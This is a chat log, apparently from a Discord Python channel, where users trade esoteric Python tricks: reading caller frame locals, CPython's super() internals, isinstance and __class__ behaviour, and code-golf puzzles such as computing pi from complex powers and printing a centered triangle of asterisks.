what about in python versions without ordered-by-default dicts?
and is self always guaranteed to be the first local?
also grabbing the first local still won't work with reassignment
!e
import sys
class A:
def a(self):
self = ...
b()
def b():
calling_frame = sys._getframe(1)
print(calling_frame.f_locals)
A().a()
@hasty temple :white_check_mark: Your 3.11 eval job has completed with return code 0.
{'self': Ellipsis}
or is there some other way or getting original locals that im not aware of?
You can use ctypes tricks to read the locals array, the first item is self (that's how argumentless super() works)
You can also parse the code object to figure out which name is the first local (fishhook does that for orig on hooked properties )
thanks, TIL about f_localsplus. unfortunately it seems a bit finicky due to this part: https://github.com/python/cpython/blob/929cc4e4a0999b777e1aa94f9c007db720e67f43/Objects/typeobject.c#L10465-L10484
assert(_PyFrame_GetCode(cframe)->co_nlocalsplus > 0);
PyObject *firstarg = _PyFrame_GetLocalsArray(cframe)[0];
// The first argument might be a cell.
if (firstarg != NULL && (_PyLocals_GetKind(co->co_localspluskinds, 0) & CO_FAST_CELL)) {
// "firstarg" is a cell here unless (very unlikely) super()
// was called from the C-API before the first MAKE_CELL op.
if (_PyInterpreterFrame_LASTI(cframe) >= 0) {
// MAKE_CELL and COPY_FREE_VARS have no quickened forms, so no need
// to use _PyOpcode_Deopt here:
assert(_PyCode_CODE(co)[0].op.code == MAKE_CELL ||
_PyCode_CODE(co)[0].op.code == COPY_FREE_VARS);
assert(PyCell_Check(firstarg));
firstarg = PyCell_GET(firstarg);
}
}
if (firstarg == NULL) {
PyErr_SetString(PyExc_RuntimeError,
"super(): arg[0] deleted");
return -1;
}
thanks, ill look into that
there is a way to make this very golfing?
a = input()
b = input()
t = input().translate(str.maketrans({a: b, b: a})) #this part
print(t)```
''.join({a:b,b:a}.get(c,c)for c in input())
''.join({c:c,a:b,b:a}[c]for c in input())
can't change the rest of the code?
if can then here's the shortest ver ```py
a,b=eval('ord(input()),'*2)
print(input().translate({a:b,b:a}))
i feel like you all might have some opinions on this—is there a way for an object to "know" which classes it's been compared to with isinstance?
i attempted to take the __instancecheck__ route, but that only works for when the class is compared to instances. What i'm looking for is this:
o = MyObject()
isinstance(o, int)
isinstance(o, list)
isinstance(o, MyObject)
o.comparisons
>>> [int, list, MyObject] # or maybe [<type int>, ...], that's fine too
if MyObject had the custom __instancecheck__, it would only track when MyObject was on the right
i want o to know what it was compared to
hm... since isinstance probably just asks what the instance's __class__ is, i don't think there's a way for me to do this other than customizing isinstance itself, which isn't what i want to do. 😦
Note that isinstance(instance, class) in fact calls class.__instancecheck__(self, instance) so each check is on a different class. You are asking for a historical record of checks to be maintained. In that case it would be a record of all checks made for a particular class. When you further consider that isinstance also checks base classes of the class given as an argument, then what you seem to require becomes more and more difficult, if not impossible.
Just overwrite builtins.isinstance to a wrapper
You can shadow __class__ and return something else instead of actual class
Won't help you here
isinstance doesn't access __class__, it looks at ob_type.
!e Ah, no. It first does what I said but doesn't return False until much later, when it did check __class__.
class Foo:
__class__ = int
f = Foo()
print(type(f), f.__class__, isinstance(f, int))
@restive void :white_check_mark: Your 3.11 eval job has completed with return code 0.
<class '__main__.Foo'> <class 'int'> True
Still don't see how you could abuse this though. isinstance looks at __class__, yes, but it doesn't compare it with Python's equality (in other words: setting __class__ to an object with a custom __eq__ won't help). PyType_IsSubtype is called on that custom object (I think, at least if you make it a class as well) but then just looks up the tp_mro slot..
hello esopy people
import math
z=lambda:float(input())
print(f"{2*math.pi*z()*z()/60:.2f}")
how can i shorten this
Remove 2* and divide by 30 instead
you could probably get away with truncating 3.1415926535... somewhere
since you only need 2 digits of precision
in fact just dividing by 30 and then using pi/30 as the constant maybe
actually nvm the input could be like 1000000
how
>>> __import__('math').pi
3.141592653589793
>>> ((-1e-9) ** 1e-9).imag*1e9
3.141592588485734
definitely can be shortened somehow
>>> ((-1)**1e-9).imag*1e9
3.141592653589793
oh that's really clever
tldr: this works because sinx=x if x is small
-1 == e^ipi == cos(pi) + i * sin(pi)
(-1) ** 1e-9 is 1e9th root of -1, so argument is divided by 1e9
(-1) ** 1e-9 == cos(pi/1e9) + i * sin(pi/1e9)
((-1)**1e-9).imag = sin(pi/1e9) ~= pi/1e9
then multiply it by 1e9 and get pi
That is really funny
>>> ((-1)**1e-9).imag*1e9
3.141592653589793
>>> (1j**1e-9).imag*1e9
1.5707963267948966
>>> (1j**1e-9).imag*2e9
3.141592653589793
1j == i has argument pi/2, so we multiply it by extra 2 and get pi
!e
from math import pi
print(pi/30)
print(((-1)**3e-8).imag*1e9)
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 0.10471975511965977
002 | 94.24777960769364
hmm
>>> ((-1)**3.33e-11).imag*1e9
0.1046150353645401
>>> from math import pi; pi / 30
0.10471975511965977
you should divide 1e9 by 30, not multiply
because i did 3.33 instead of 3.3333333333333333 💀
>>> ((-1)**3.33e-11).imag*1e9
0.1046150353645401
>>> from math import pi; pi / 30
0.10471975511965977
>>> ((-1)**(1e-9/30)).imag*1e9
0.10471975511965978
a lot better
>>> (1j**1e-9).imag*2e8/3
0.10471975511965977
(1j**1e-9).imag*2e8/3
import math;math.pi/30
TIL a ** b ** c is a ** (b ** c) and not (a ** b) ** c: ```py
dis('a ** b ** c')
0 0 RESUME 0
1 2 LOAD_NAME 0 (a)
4 LOAD_NAME 1 (b)
6 LOAD_NAME 2 (c)
8 BINARY_OP 8 ()
12 BINARY_OP 8 ()
16 RETURN_VALUE
That's how it's done in math as well
Pow is one of the few operations read right to left in Python
i know, but i was confused for a moment
>>> ((-1)**1e-9**-30).imag*1e9
0.0
>>> ((-1)**1e-9**(-1/30)).imag*1e9
-14883326.957898315
>>> ((-1)**1e-9**(1/30)).imag*1e9
999993044.2874776
>>> ((-1)**1e-9**(30)).imag*1e9
3.141592653589799e-261
Using continued fractions
!e
from math import pi
print(pi/30)
print(9/86)
print(71/678)
print(17344/165623)
@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 0.10471975511965977
002 | 0.10465116279069768
003 | 0.10471976401179942
004 | 0.10471975510647676
that isn't as precise as the other one tho
!e
from math import pi
print(pi/30)
print(9/86)
print(71/678)
print(17344/165623)
print(191068/1824565)
print(723691735/6910747014)
@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 0.10471975511965977
002 | 0.10465116279069768
003 | 0.10471976401179942
004 | 0.10471975510647676
005 | 0.10471975511971346
006 | 0.10471975511965978
Hmm
!e
from itertools import cycle
c = cycle([2398.23432, 234231.124314])
input = lambda: next(c)
import math;z=lambda:float(input());print(f"{math.pi*z()*z()/30:.2f}") # 70
z=lambda:float(input());print(f"{(1j**1e-9*2e8/3*z()*z()).imag:.2f}") # 69
print(f"{eval('float(input())*'*2+'2e8/3*1j**1e-9').imag:.2f}") # 63
print('%.2f'%eval('float(input())*'*2+'2e8/3*1j**1e-9').imag) # 61
@low lynx :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 58825392.65
002 | 58825392.65
003 | 58825392.65
004 | 58825392.65
print('%.2f'%eval('float(input())*1e4*'*2+'1j**2e-9/3').imag)
is also tied for 61
!e
from itertools import cycle
c = cycle([2398.23432, 234231.124314])
input = lambda: next(c)
print('%.2f'%eval('float(input())*'*2+'2e8/3*1j**1e-9').imag) # 61
print('%.2f'%eval('float(input())*6e8j*'*2+'*1e-9/-9').real) # 60
print('%.2f'%-eval('float(input())/3e-8j*'*2+'*2e-9').real) # 59
Got a 59, unfortunately at the cost of some precision
@distant salmon :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | 58825392.65
002 | 58825393.84
003 | 58825394.68
87 base (problem from #1154330411904806923 message) ```py
L,R=map(int,input().split())
print(''.join(str(~x.bit_count()&1)for x in range(L-1,R)))
how small can we make this?
def isosceles(layer_size, num_of_spaces = 0):
if layer_size % 2 == 0:
print("Invalid input.")
return
if layer_size < 0:
return
isosceles(layer_size - 2, num_of_spaces + 1)
print(f"{num_of_spaces * ' '}{layer_size * '*'}")
isosceles(9)
Why print() instead of return?
wasn't my code originally
I'm gonna golf a version that uses return then
def isosceles(layer_size, num_of_spaces = 0):
if layer_size % 2 == 0:
return "Invalid input."
if layer_size < 0:
return ""
isosceles(layer_size - 2, num_of_spaces + 1)
return f"{num_of_spaces * ' '}{layer_size * '*'}"
print(isosceles(9))
Wait no
this does not work as it is*
I just realized it has recursion
Rewriting into a loop might be shorter
!e ```py
def isosceles(layer_size, num_of_spaces = 0):
if layer_size % 2 == 0:
print("Invalid input.")
return
if layer_size < 0:
return
isosceles(layer_size - 2, num_of_spaces + 1)
print(f"{num_of_spaces * ' '}{layer_size * '*'}")
isosceles(9)
@gleaming linden :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | *
002 | ***
003 | *****
004 | *******
005 | *********
Oh I see
!e ```py
isosceles=lambda n:[print(f"{'*'*x:^{n}}")for x in range(1,n+1,2)]
isosceles(9)
@gleaming linden :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | *
002 | ***
003 | *****
004 | *******
005 | *********
Well that's all the valid cases sorted
It basically does f"{num_of_spaces * ' '}{layer_size * '*'}"
i've never seen that syntax before
'*'*x is the string to format
And ^{n} is the format code
^ means "center the text"
And {n} means "make it n characters long"
I have never seen center the text formatting
that's useful to know, thank you for showing me!
There's a bunch of other stuff you can do with format codes too
isosceles=lambda n:[print(f"{'*'*-~x:^{n}}")for x in range(0,n,2)]
isosceles(9)
It feels like it should be possible to improve this
wait i recall something like this
not the most minimal form, but this thing does similiar thing
why are you doing bitwise not?
bitwise not? You mean the -~?
~
It adds 1 to x
huh
~ is called bitinverse
yeah thats what i meant by bitwise not
The reason why -~x == x + 1 is that (~x) + x == -1
since -1 in two's complement is an infite bitstring of 1s
same 
congrats!
omg what did you win
if i have a string "2 2" and i want to convert it into 2 int variables
what can i do instead of map(int,input().split())
partition maybe
if it had a smaller name it would probably get more use
it most definitely is not shorter, but it is funner
map(int,input().partition(' ')[::2])
wtf
but why???
doesnt map take a function and an iterator?
also to actually run map you've got to unpack the generator it outputs so it would look more like
*map(int,input().partition(' ')[::2]),
!e ```py
m = map(int,"2 2".partition(' ')[::2])
print(m)
print(*m,)
@floral meteor :white_check_mark: Your 3.11 eval job has completed with return code 0.
001 | <map object at 0x7ff87ab03220>
002 | 2 2
that give it me an idea but doesnt works